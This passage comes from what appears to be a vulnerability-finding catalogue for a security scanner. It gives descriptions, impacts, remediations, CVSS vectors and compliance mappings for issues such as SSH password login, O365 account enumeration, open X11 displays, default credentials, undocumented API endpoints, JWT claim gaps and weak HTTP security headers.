Impact: Without public key authentication, the SSH server relies entirely on password strength for security. An attacker can mount online brute-force or credential-stuffing attacks with no cryptographic barrier. The absence of public key support also prevents deployment of certificate-based or hardware-token SSH authentication. This configuration violates CIS Benchmark and DISA STIG requirements for SSH hardening.
Remediation: Enable public key authentication and disable PasswordAuthentication and ChallengeResponseAuthentication in /etc/ssh/sshd_config. Generate and deploy SSH key pairs for all authorized users. CIS Benchmark and DISA STIG both mandate public-key-only SSH login.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
MITRE ATT&CK: T1110 (Credential Access), T1078 (Initial Access)
NIST 800-53: IA-2, IA-5, CM-6
PCI DSS 4: 8.3.1, 2.2.4
INFO SS3-213 — Discovery: O365 Tenant Detected
Description: The target domain uses Microsoft 365 / Azure AD for email and authentication. MX records point to *.protection.outlook.com or the OpenID configuration endpoint confirms an Azure AD tenant.
Impact: Confirms the organization uses Microsoft 365, enabling targeted O365 account enumeration, credential spray, and phishing attacks against the tenant.
Remediation: Implement conditional access policies, enforce MFA, and configure Azure AD Smart Lockout to mitigate enumeration and credential spray attacks.
Effort: Moderate
MITRE ATT&CK: T1589.002 (Reconnaissance)
NIST 800-53: SC-7
MEDIUM SS3-214 — Enumeration: O365 Account Enumeration
Description: Valid O365 user accounts were confirmed via Azure AD authentication endpoint enumeration. The endpoint returns different responses for valid and invalid accounts, allowing an attacker to confirm which email addresses correspond to active accounts.
Impact: Confirmed valid accounts can be targeted with password spray attacks, credential stuffing, phishing campaigns, and social engineering. This significantly reduces the attacker's search space for credential-based attacks.
Remediation: Implement conditional access policies, enforce MFA on all accounts, configure Azure AD Smart Lockout, and disable legacy authentication protocols that bypass MFA. Monitor Azure AD sign-in logs for enumeration patterns.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
MITRE ATT&CK: T1589.002 (Reconnaissance), T1110.003 (Credential Access)
NIST 800-53: AC-2, IA-5
PCI DSS 4: 8.2.1
HIGH SS3-215 — Unauthenticated X11 Display Access
Description: An X11 display server accepts connections without authentication. The service responded to either xdpyinfo queries or raw X11 protocol handshake without requiring XAUTH/MIT-MAGIC-COOKIE credentials.
Impact: An attacker can capture screen contents in real-time, inject keystrokes and mouse events, monitor all user activity on the display, and potentially execute arbitrary commands through keystroke injection. This provides full visibility into and control over the user's desktop session.
Remediation: Disable remote X11 connections or enforce XAUTH/MIT-MAGIC-COOKIE authentication. Configure X11 to listen only on localhost (-nolisten tcp). Use SSH X11 forwarding instead of direct X11 connections. Apply firewall rules to block ports 6000-6063 from untrusted networks.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: N/A
MITRE ATT&CK: T1056.001 (Collection), T1113 (Collection), T1021 (Lateral Movement)
NIST 800-53: AC-17, AC-3
PCI DSS 4: 2.2.4
INFO SS3-216 — X11 Display Detected (Authentication Required)
Description: An X11 display server is running but requires authentication to connect. The X11 protocol handshake was rejected with an authentication-required response.
Impact: The X11 service is exposed on the network but properly requires authentication. While the service itself is secured, exposure of X11 ports to untrusted networks increases the attack surface. If authentication credentials are weak or compromised, the display could be accessed remotely.
Remediation: Verify X11 is configured to listen only on localhost unless remote access is required. Use SSH X11 forwarding instead of direct connections. Apply firewall rules to restrict access to X11 ports.
Effort: Easy
CVSS Vector: N/A
OWASP Web: N/A
CRITICAL SS3-217 — Default Credentials: {SERVICE}
Description: brutespray confirmed that a network service accepts default or factory-preset credentials. The service responded with a successful authentication using a well-known username/password combination.
Impact: An attacker can immediately authenticate to the service using widely-known default credentials. Depending on the service, this may provide full administrative access, ability to read/modify data, execute commands, pivot to other systems, or completely compromise the host. Default credentials are among the most commonly exploited vulnerabilities.
Remediation: Change all default credentials immediately. Implement strong, unique passwords for all service accounts. Deploy account lockout policies. Consider disabling unnecessary services entirely.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A07:2021 - Identification and Authentication Failures
MITRE ATT&CK: T1078.001 (Persistence), T1110 (Credential Access)
NIST 800-53: IA-5, AC-2
PCI DSS 4: 2.1.1, 8.2.2
HIGH SS3-218 — Weak Credentials: {SERVICE}
Description: brutespray confirmed that a network service accepts weak or easily guessable credentials. The service authenticated successfully with a non-default but weak username/password combination.
Impact: An attacker can authenticate to the service using credentials that are easily guessable or present in common wordlists. This may provide unauthorized access to sensitive data, the ability to modify configurations, or a foothold for lateral movement within the network.
Remediation: Enforce strong password policies with minimum length, complexity, and rotation requirements. Implement account lockout after failed attempts. Deploy multi-factor authentication where possible.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A07:2021 - Identification and Authentication Failures
MITRE ATT&CK: T1110.001 (Credential Access)
NIST 800-53: IA-5
PCI DSS 4: 8.3.6
INFO SI-001 — API Endpoint Discovered (dirsearch)
Description: Siphon discovered an API endpoint via directory and path brute-forcing using dirsearch. The endpoint was not necessarily documented in any provided API specification and was identified by receiving a non-404 HTTP response. Discovery of undocumented or unintended endpoints increases the attack surface available to an adversary. This finding is informational and represents an enumeration result rather than a confirmed vulnerability.
Remediation: Review all discovered endpoints and confirm each is intentional and documented. Remove or disable any endpoints that are no longer in use. Ensure API gateway or WAF rules restrict access to known-good paths. Maintain an up-to-date API inventory.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
OWASP API: API9:2023 Improper Inventory Management
INFO SI-002 — API Endpoint Discovered (Feroxbuster)
Description: Siphon discovered an API endpoint via recursive content discovery using Feroxbuster. The endpoint responded with a non-404 status code during automated path enumeration. Feroxbuster performs recursive brute-forcing and can uncover deeply nested or legacy paths not surfaced by shallow scanners. Discovery of additional endpoints widens the attack surface and may expose functionality not intended for public access.
Remediation: Audit all live endpoints and compare against the official API inventory. Decommission endpoints that are no longer needed. Apply allowlist-based routing at the API gateway layer so only documented paths are reachable. Ensure staging or debug paths are not deployed to production.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
OWASP API: API9:2023 Improper Inventory Management
INFO SI-003 — API Endpoint Discovered (FFUF)
Description: Siphon discovered an API endpoint using FFUF (Fuzz Faster U Fool), a high-speed web fuzzer. The endpoint returned a response code indicating its existence during wordlist-based path fuzzing. FFUF is commonly used to find hidden API routes, versioned paths, and alternative content types. Each discovered endpoint is a potential pivot point for further vulnerability testing.
Remediation: Compare discovered endpoints against the authoritative API specification and remove any that are undocumented or deprecated. Implement strict path-based ACLs at the API gateway. Disable directory listing and ensure all routes are explicitly registered in the application router.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
OWASP API: API9:2023 Improper Inventory Management
INFO SI-004 — API Endpoint Discovered (Kiterunner)
Description: Siphon discovered an API endpoint using Kiterunner, a tool purpose-built for API route discovery that replays real-world API route signatures. Unlike generic directory brute-forcers, Kiterunner uses curated wordlists derived from thousands of real APIs and supports context-aware request construction. Endpoints found via Kiterunner often represent API-specific paths that generic scanners miss, including internal or administrative routes.
Remediation: Review all Kiterunner-discovered endpoints against the official API documentation. Ensure the API gateway enforces an allowlist of permitted routes. Remove undocumented or decommissioned routes from the application. Implement authentication requirements on all non-public endpoints.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
OWASP API: API9:2023 Improper Inventory Management
INFO SI-005 — API Framework Identified
Description: Siphon successfully fingerprinted the API framework in use (e.g., FastAPI, Django REST Framework, Spring Boot, Express, Laravel) through analysis of HTTP response headers, error page content, URL patterns, and response body signatures. Knowing the exact framework and version enables targeted exploitation of known CVEs and framework-specific vulnerabilities. This information materially aids an attacker in scoping follow-on attacks.
Remediation: Suppress framework-identifying headers such as X-Powered-By, Server, and custom framework headers. Customize error pages to avoid leaking framework version information. Keep the identified framework patched to the latest stable release. Apply virtual patching at the WAF layer for any known CVEs in the identified version.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
OWASP Web: A05:2021 Security Misconfiguration
OWASP API: API9:2023 Improper Inventory Management
INFO SI-006 — Undocumented API Endpoint Detected
Description: Siphon detected a live API endpoint that is not present in the provided API specification (OpenAPI/Swagger). Undocumented endpoints often represent legacy functionality, shadow APIs, or development artifacts that were never formally decommissioned. These endpoints are unlikely to have undergone the same security review as documented ones and may lack proper authentication, rate limiting, or input validation. Their existence represents a governance gap in the API lifecycle.
Remediation: Perform a full audit to determine the purpose of the undocumented endpoint. If it is no longer needed, remove it immediately. If it serves a legitimate function, add it to the official API specification and subject it to the standard security review process. Implement CI/CD checks that fail builds when undocumented routes are detected.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
OWASP API: API9:2023 Improper Inventory Management
INFO SI-007 — Undocumented HTTP Method Accepted
Description: Siphon discovered that a documented API endpoint accepts an HTTP method that is not listed in the API specification. For example, a GET-only endpoint also accepts PUT or DELETE. This may indicate that the server-side framework auto-handles methods not explicitly coded, or that an older version of the endpoint accepted additional methods. Accepting undocumented methods can lead to unintended data modification or deletion.
Remediation: Configure the application and API gateway to explicitly reject HTTP methods not defined in the API specification for each endpoint. Return 405 Method Not Allowed for any method not in the allowlist. Review the endpoint's handler logic for each accepted method and ensure proper authorization is applied.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
OWASP API: API9:2023 Improper Inventory Management
INFO SI-008 — Undocumented API Parameter Accepted
Description: Siphon detected that an API endpoint accepts a query or body parameter that is not declared in the API specification. The server processed the parameter without returning an error, suggesting the backend consumes it silently. Undocumented parameters may enable hidden functionality, alter application behavior, or bypass intended business logic. This is often a precursor to mass assignment or parameter pollution attacks.
Remediation: Implement strict input validation that rejects any parameter not explicitly defined in the API schema. Use allowlist-based parameter validation at the API gateway or middleware layer. Remove or document any legacy parameters still consumed by the backend. Review all undocumented parameters for security implications.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
OWASP API: API9:2023 Improper Inventory Management
INFO SI-009 — Undocumented Parameter Accepted
Description: Siphon detected that an API endpoint silently accepts an extra parameter that produces a changed or differentiated response compared to the baseline. This indicates the application is consuming the parameter on the server side despite it not being part of the documented API contract. Extra parameters accepted silently can indicate a mass assignment risk, hidden feature flags, or undocumented administrative controls.
Remediation: Apply strict schema validation on all incoming request parameters. Reject any parameter not included in the endpoint's schema definition. Audit the codebase for any parameters that are processed but not documented. Use an API design-first approach to ensure the specification is always the source of truth.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
OWASP API: API9:2023 Improper Inventory Management
INFO SI-010 — Endpoint Not in Scope File
Description: Siphon discovered an endpoint that is not listed in the provided scope file. This is an informational flag indicating that testing of this endpoint may be outside the authorized engagement boundary, or that the API inventory is incomplete. Out-of-scope endpoints that are still reachable from the target host represent an inventory management gap and a potential attack vector.
Remediation: Reconcile the scope file with the actual live API surface. Update the scope definition to explicitly include or exclude each discovered endpoint. Ensure API documentation and scope definitions are kept in sync through a formal API inventory management process.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
OWASP API: API9:2023 Improper Inventory Management
INFO SI-011 — HTTP Method Not in Scope File
Description: Siphon detected an HTTP method being accepted by a scoped endpoint that is not listed in the scope file for that endpoint. This may indicate the scope definition is incomplete or that the server accepts additional methods beyond those intended for testing. Methods not in scope that are live may be tested inadvertently or may represent unreviewed attack surface.
Remediation: Update the scope file to accurately reflect all accepted HTTP methods per endpoint. Enforce method restrictions at the server level so only documented methods are accepted. Review the authorization logic applied to each accepted method.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
OWASP API: API9:2023 Improper Inventory Management
INFO SI-012 — GraphQL Subscription Endpoint Detected
Description: Siphon detected a GraphQL subscription endpoint, which enables real-time data push over WebSocket or Server-Sent Events. Subscription endpoints can be leveraged for data exfiltration by subscribing to sensitive data streams, may bypass rate limiting controls applied only to query/mutation paths, and can expose the server to denial-of-service through unlimited subscription connections. Their existence should be noted and each subscription authorization model reviewed.
Remediation: Ensure all GraphQL subscription resolvers enforce the same authentication and authorization checks as query and mutation resolvers. Implement rate limiting and connection count limits on the subscription endpoint. Audit subscription data streams to ensure they do not expose data the subscriber is not authorized to receive.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
OWASP API: API9:2023 Improper Inventory Management
INFO SI-013 — JWT Contains jku Header
Description: Siphon detected a JWT token containing a jku (JWK Set URL) header parameter. The jku header allows the token to specify an external URL from which the server should fetch the public key used to verify the token signature. While this finding is informational (the server may pin allowed jku URLs), the presence of this header indicates potential for JWKS spoofing attacks if the server does not validate the jku URL against an allowlist. This finding is escalated to SI-052 (CRITICAL) if the server was found to accept arbitrary jku values.
Remediation: If jku is required, implement strict allowlist validation of the jku URL on the server side. Reject any token whose jku value is not in the approved list. Prefer embedding the public key directly in server configuration rather than fetching it dynamically. Log and alert on any jku value that does not match the expected URL.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
OWASP Web: A07:2021 Identification and Authentication Failures
OWASP API: API2:2023 Broken Authentication
LOW SI-014 — JWT Missing Issued-At Claim
Description: The JWT issued by the API does not include an iat (issued-at) claim. The iat claim records when the token was created and enables server-side enforcement of token age policies. Without iat, the server cannot determine how long a token has been in circulation, making it impossible to enforce maximum token age, detect token replay from older sessions, or implement clock-skew tolerances. This weakens overall token lifecycle management.
Remediation: Include the iat claim in all issued JWTs, set to the Unix timestamp at the time of issuance. Validate iat on the server side to enforce maximum token age in addition to the exp claim. Use iat together with exp to implement sliding-window session expiry policies.
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A07:2021 Identification and Authentication Failures
OWASP API: API2:2023 Broken Authentication
INFO SI-015 — File Upload Endpoint Detected
Description: Siphon identified an API endpoint that accepts file uploads (multipart/form-data or binary body). File upload endpoints are high-value targets because they can be leveraged for unrestricted file upload attacks, path traversal, server-side code execution, and storage exhaustion. The presence of this endpoint is noted for targeted manual testing of upload restrictions, file type validation, and storage path controls.
Remediation: Enforce strict file type validation using magic bytes rather than extension or MIME type alone. Store uploaded files outside the web root in a sandboxed directory. Rename uploaded files to random identifiers. Scan uploaded files with antivirus/antimalware before storing. Implement size limits and rate limiting on upload endpoints. Require authentication for all upload functionality.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
OWASP Web: A04:2021 Insecure Design
OWASP API: API9:2023 Improper Inventory Management
MITRE ATT&CK: T1595.003 (Reconnaissance), T1083 (Discovery)
NIST 800-53: CM-8, CM-7, AC-3
PCI DSS 4: 6.5.1
INFO SI-016 — Potential Undocumented Upload Endpoint Discovered
Description: Siphon discovered a potential file upload endpoint that is not listed in the API specification. The endpoint was identified through path pattern matching (e.g., paths containing 'upload', 'import', 'attach', 'file') or by observing multipart/form-data handling. Undocumented upload endpoints often bypass the security controls applied to documented ones and may represent legacy functionality with weaker validation. This endpoint warrants immediate manual review.
Remediation: Determine the purpose of the undocumented upload endpoint. If it is no longer needed, remove it. If legitimate, add it to the API specification and subject it to full security review including file type validation, authentication enforcement, and storage security. Implement monitoring for upload activity on this endpoint.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
OWASP Web: A04:2021 Insecure Design
OWASP API: API9:2023 Improper Inventory Management
LOW SI-017 — JWT Missing Expiry Claim
Description: The JWT issued by the API does not contain an exp (expiration) claim. Without an expiration claim, the token is theoretically valid indefinitely. An attacker who intercepts or steals a token (via XSS, network interception, log leakage, or insider threat) can use it perpetually without any time-based invalidation occurring. This violates the principle of least privilege as applied to authentication tokens and significantly increases the blast radius of any token compromise.
Remediation: Include an exp claim in all issued JWTs with an appropriate short-lived expiry (e.g., 15 minutes for access tokens, 24 hours for refresh tokens). Validate the exp claim server-side on every request. Implement token refresh logic for clients so that short-lived access tokens can be renewed using longer-lived refresh tokens. Never issue non-expiring tokens in production.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A07:2021 Identification and Authentication Failures
OWASP API: API2:2023 Broken Authentication
MITRE ATT&CK: T1550.001 (Defense Evasion), T1539 (Collection)
NIST 800-53: IA-5, SC-23, AC-12
PCI DSS 4: 8.2.4, 8.3.9
LOW SI-018 — Information Disclosure: Server Header
Description: The API response includes a Server HTTP header that discloses the web server software and version (e.g., Apache/2.4.51, nginx/1.21.3). This information assists an attacker in identifying the server technology stack and cross-referencing against known CVEs for that exact version. While not directly exploitable, version disclosure lowers the bar for targeted exploitation by eliminating reconnaissance effort.
Remediation: Configure the web server to suppress or mask the Server header. In nginx, set 'server_tokens off'. In Apache, set 'ServerTokens Prod' and 'ServerSignature Off'. Configure IIS to remove the Server header via HTTP response headers settings. Replace the header value with a generic string if complete removal is not possible.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 Security Misconfiguration
OWASP API: API8:2023 Security Misconfiguration
MITRE ATT&CK: T1592.002 (Reconnaissance)
NIST 800-53: CM-7, SI-12
PCI DSS 4: 6.2.4
LOW SI-019 — Information Disclosure: Via Header
Description: The API response includes a Via HTTP header that reveals information about intermediate proxies, load balancers, or CDN nodes in the request path. The Via header can expose internal hostnames, proxy software versions, or network topology that assists an attacker in mapping internal infrastructure. This information can be used to identify internal services, bypass CDN protections by directly targeting origin servers, or craft targeted attacks against specific proxy versions.
Remediation: Configure reverse proxies and CDN edge nodes to suppress or rewrite the Via header before forwarding responses to clients. If Via is required for debugging purposes, ensure it only contains generic identifiers rather than internal hostnames or software versions. Use network segmentation to prevent direct access to origin servers bypassing the CDN.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 Security Misconfiguration
OWASP API: API8:2023 Security Misconfiguration
MITRE ATT&CK: T1592.002 (Reconnaissance)
NIST 800-53: CM-7, SI-12
PCI DSS 4: 6.2.4
LOW SI-020 — Information Disclosure: X-Powered-By Header
Description: The API response includes an X-Powered-By header that discloses the application framework or runtime (e.g., PHP/8.1.0, ASP.NET, Express). This information enables an attacker to identify the specific framework in use and correlate it against known vulnerabilities for that version. X-Powered-By is a non-standard header set by frameworks by default and provides no functional benefit to legitimate clients.
Remediation: Remove the X-Powered-By header at the framework or server level. In Express.js, call 'app.disable("x-powered-by")'. In PHP, set 'expose_php = Off' in php.ini. In ASP.NET, remove the X-Powered-By header in the web.config customHeaders section. Alternatively, strip the header at the reverse proxy or WAF layer.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 Security Misconfiguration
OWASP API: API8:2023 Security Misconfiguration
MITRE ATT&CK: T1592.002 (Reconnaissance)
NIST 800-53: CM-7, SI-12
PCI DSS 4: 6.2.4
LOW SI-021 — Information Disclosure: X-AspNet-Version Header
Description: The API response includes an X-AspNet-Version header disclosing the exact version of the ASP.NET runtime in use. This version string enables targeted exploitation of known ASP.NET vulnerabilities specific to that version, including deserialization bugs, ViewState tampering vulnerabilities, and padding oracle attacks. The header provides no functional value to clients and represents unnecessary information exposure.
Remediation: Disable the X-AspNet-Version header by adding '<httpRuntime enableVersionHeader="false" />' to the system.web section of web.config. Additionally configure IIS to remove the X-Powered-By and Server headers via customHeaders configuration. Keep ASP.NET runtime patched to the latest stable version regardless of header suppression.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 Security Misconfiguration
OWASP API: API8:2023 Security Misconfiguration
MITRE ATT&CK: T1592.002 (Reconnaissance)
NIST 800-53: CM-7, SI-12
PCI DSS 4: 6.2.4
LOW SI-022 — Permissive Security Header: Content-Security-Policy
Description: The API response includes a Content-Security-Policy header, but the policy is overly permissive (e.g., contains 'unsafe-inline', 'unsafe-eval', wildcard sources like '*', or 'data:' in script-src). A permissive CSP reduces protection against Cross-Site Scripting (XSS) attacks compared to a strict policy. While the header is present, its configuration does not provide meaningful protection against script injection.
Remediation: Harden the CSP to remove 'unsafe-inline' and 'unsafe-eval' from script-src directives. Use nonces or hashes for inline scripts instead of blanket unsafe-inline permission. Restrict source allowlists to specific trusted domains. Use 'strict-dynamic' for modern browsers. Test the policy using Google's CSP Evaluator before deploying. Apply CSP to all API responses that return HTML content.
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 Security Misconfiguration
OWASP API: API8:2023 Security Misconfiguration
LOW SI-023 — Permissive Security Header: Strict-Transport-Security
Description: The API response includes a Strict-Transport-Security (HSTS) header, but it is configured with a very short max-age value (typically less than one year), lacks the 'includeSubDomains' directive, or lacks 'preload'. A weak HSTS configuration leaves a window during which users can be downgraded to HTTP via SSL stripping attacks. The presence of the header is positive, but the permissive configuration reduces its protective value.
Remediation: Set the HSTS max-age to at least 31536000 seconds (one year). Add the 'includeSubDomains' directive to protect all subdomains. Consider adding 'preload' and submitting the domain to the HSTS preload list at https://hstspreload.org. Ensure HSTS is only set over HTTPS connections and never over HTTP.
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A02:2021 Cryptographic Failures
OWASP API: API8:2023 Security Misconfiguration
LOW SI-024 — Permissive Security Header: X-Frame-Options
Description: The API response includes an X-Frame-Options header set to ALLOWFROM or a value other than DENY or SAMEORIGIN. ALLOWFROM has inconsistent browser support and may not provide effective clickjacking protection in all browsers. A permissive or inconsistent X-Frame-Options value reduces protection against UI redress attacks where the API's responses are framed in an attacker-controlled page.
Remediation: Set X-Frame-Options to DENY if the content should never be framed, or SAMEORIGIN if framing from the same origin is required. Prefer using the Content-Security-Policy frame-ancestors directive as a modern replacement, as it offers more granular control and is consistently supported. Remove ALLOWFROM configurations entirely.
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 Security Misconfiguration
OWASP API: API8:2023 Security Misconfiguration
LOW SI-025 — Permissive Security Header: X-Content-Type-Options
Description: The API response includes an X-Content-Type-Options header with an invalid or non-standard value rather than the required 'nosniff'. A header value other than 'nosniff' does not prevent MIME-type sniffing in browsers and provides no protection against attacks that exploit browsers executing incorrectly typed content (e.g., a JSON file with executable JavaScript content being sniffed and executed as text/html).
Remediation: Set the X-Content-Type-Options header to exactly 'nosniff' on all API responses. This is a binary setting — only 'nosniff' is valid. Ensure the correct Content-Type header is also set on all responses to prevent browsers from needing to sniff the content type.
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N
OWASP Web: A05:2021 Security Misconfiguration
OWASP API: API8:2023 Security Misconfiguration
LOW SI-026 — Permissive Security Header: Referrer-Policy
Description: The API response includes a Referrer-Policy header set to an overly permissive value such as 'unsafe-url' or 'no-referrer-when-downgrade'. These values cause the browser to send the full URL (including query parameters, authentication tokens, or session identifiers embedded in URLs) as the Referrer header to third-party domains. This can lead to sensitive data leakage to analytics providers, CDNs, or any third-party resource loaded by the page.
Remediation: Set Referrer-Policy to 'strict-origin-when-cross-origin' or 'no-referrer' depending on business requirements. Avoid 'unsafe-url' in all cases. For API endpoints that do not serve HTML, set the Referrer-Policy to 'no-referrer'. Ensure that sensitive information such as tokens or session IDs are never included in URLs.
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 Security Misconfiguration
OWASP API: API8:2023 Security Misconfiguration
LOW SI-027 — Permissive Security Header: Cache-Control
Description: The API response includes a Cache-Control header, but it allows caching of potentially sensitive responses. For example, the value may be missing 'no-store', or may allow public proxies to cache authenticated responses via 'public' or 'max-age' directives without 'private'. Sensitive API responses cached by intermediary proxies, CDNs, or shared caches can be accessed by other users or attackers with access to those caches.
Remediation: For authenticated or sensitive API responses, set Cache-Control to 'no-store, private' to prevent caching at all levels. For public, non-sensitive responses, use appropriate 'public' and 'max-age' directives. Review all endpoints that return user-specific data and ensure their Cache-Control headers prevent intermediate caching.
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 Security Misconfiguration
OWASP API: API8:2023 Security Misconfiguration
LOW SI-028 — Missing Secure Cookie Attribute: SameSite
Description: An API session cookie does not include the SameSite attribute. Without SameSite, the browser will send the cookie on all cross-site requests, including those initiated by attacker-controlled third-party sites. This enables Cross-Site Request Forgery (CSRF) attacks where an attacker can cause authenticated actions to be performed without the user's knowledge. While REST APIs using Authorization headers are generally not susceptible to CSRF, cookie-based API authentication without SameSite is vulnerable.
Remediation: Set the SameSite attribute to 'Lax' as a minimum, or 'Strict' for sensitive cookies such as session tokens. 'None' should only be used when cross-site cookie sending is explicitly required, and must be paired with the Secure attribute. Evaluate whether cookie-based authentication is appropriate for the API, or whether Authorization headers should be used instead.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
OWASP Web: A07:2021 Identification and Authentication Failures
OWASP API: API2:2023 Broken Authentication
MITRE ATT&CK: T1539 (Collection), T1185 (Collection)
NIST 800-53: SC-8, IA-5, SC-23
PCI DSS 4: 6.4.1, 6.5.10
LOW SI-029 — Misconfigured Secure Cookie Attribute: SameSite
Description: An API session cookie includes the SameSite attribute but it is set to 'None' without a legitimate cross-site requirement, or is set to a value that browsers do not recognize and fall back to treating as SameSite=None. SameSite=None without a strong justification allows cross-site request forgery attacks the same as having no SameSite attribute. This finding also covers cookies where SameSite=None is set without the required Secure flag, which modern browsers will reject entirely.
Remediation: Audit all cookies with SameSite=None and confirm each has a documented business requirement for cross-site access. Ensure SameSite=None is always paired with the Secure attribute. Where cross-site access is not required, change SameSite to 'Lax' or 'Strict'. Remove any unrecognized or typo'd SameSite values.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
OWASP Web: A07:2021 Identification and Authentication Failures
OWASP API: API2:2023 Broken Authentication
MITRE ATT&CK: T1539 (Collection), T1185 (Collection)
NIST 800-53: SC-8, IA-5, SC-23
PCI DSS 4: 6.4.1, 6.5.10
MEDIUM SI-030 — API Specification Exposed
Description: The API's OpenAPI/Swagger specification or equivalent documentation is publicly accessible without authentication (e.g., at /swagger.json, /openapi.json, /api-docs, /swagger-ui.html). The specification reveals the complete API surface including all endpoints, parameter names and types, authentication schemes, and response schemas. This dramatically reduces the reconnaissance effort required for an attacker, providing a complete blueprint of the API without any prior knowledge.
Remediation: Restrict access to API specification endpoints using authentication. At minimum, require valid credentials to access /swagger-ui, /openapi.json, and related documentation paths. In production environments, consider completely removing public API documentation and limiting it to internal networks or developer portals. If public documentation is required, ensure it does not contain internal or sensitive endpoint details.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 Security Misconfiguration
OWASP API: API8:2023 Security Misconfiguration
MEDIUM SI-031 — Missing Security Header: Content-Security-Policy
Description: The API response does not include a Content-Security-Policy (CSP) header. Without CSP, the browser applies no restrictions on the origins from which scripts, styles, images, and other resources can be loaded, significantly increasing the risk of Cross-Site Scripting (XSS) attacks. A missing CSP means any XSS vulnerability in the API's responses can result in arbitrary script execution without any browser-level mitigation.
Remediation: Implement a Content-Security-Policy header on all HTTP responses that return HTML content. Start with a restrictive policy such as "default-src 'self'" and gradually expand based on application requirements. Use CSP reporting (report-to or report-uri) to identify violations before enforcing. For pure JSON API endpoints, set CSP to "default-src 'none'" as those endpoints should never load external resources.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
OWASP Web: A05:2021 Security Misconfiguration
OWASP API: API8:2023 Security Misconfiguration
MEDIUM SI-032 — Missing Security Header: X-Frame-Options
Description: The API response does not include an X-Frame-Options header and the Content-Security-Policy header does not include a frame-ancestors directive. Without this protection, the API's responses can be embedded in iframes on attacker-controlled websites, enabling UI redress (clickjacking) attacks. An attacker can overlay invisible or transparent frames over legitimate UI elements to trick users into performing unintended authenticated actions.
Remediation: Add 'X-Frame-Options: DENY' to all API responses, or use the more modern Content-Security-Policy 'frame-ancestors' directive (e.g., "frame-ancestors 'none'"). For APIs that legitimately need to be framed by the same origin, use SAMEORIGIN. Prefer the CSP approach as it supports more granular control and is the modern standard.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
OWASP Web: A05:2021 Security Misconfiguration
OWASP API: API8:2023 Security Misconfiguration
MEDIUM SI-033 — Missing Security Header: X-Content-Type-Options
Description: The API response does not include an X-Content-Type-Options: nosniff header. Without this header, browsers may perform MIME-type sniffing and interpret responses as a different content type than declared. For example, a JSON response containing JavaScript could be executed as a script in certain browser configurations. This attack vector is particularly relevant for APIs that accept and reflect user-supplied content.
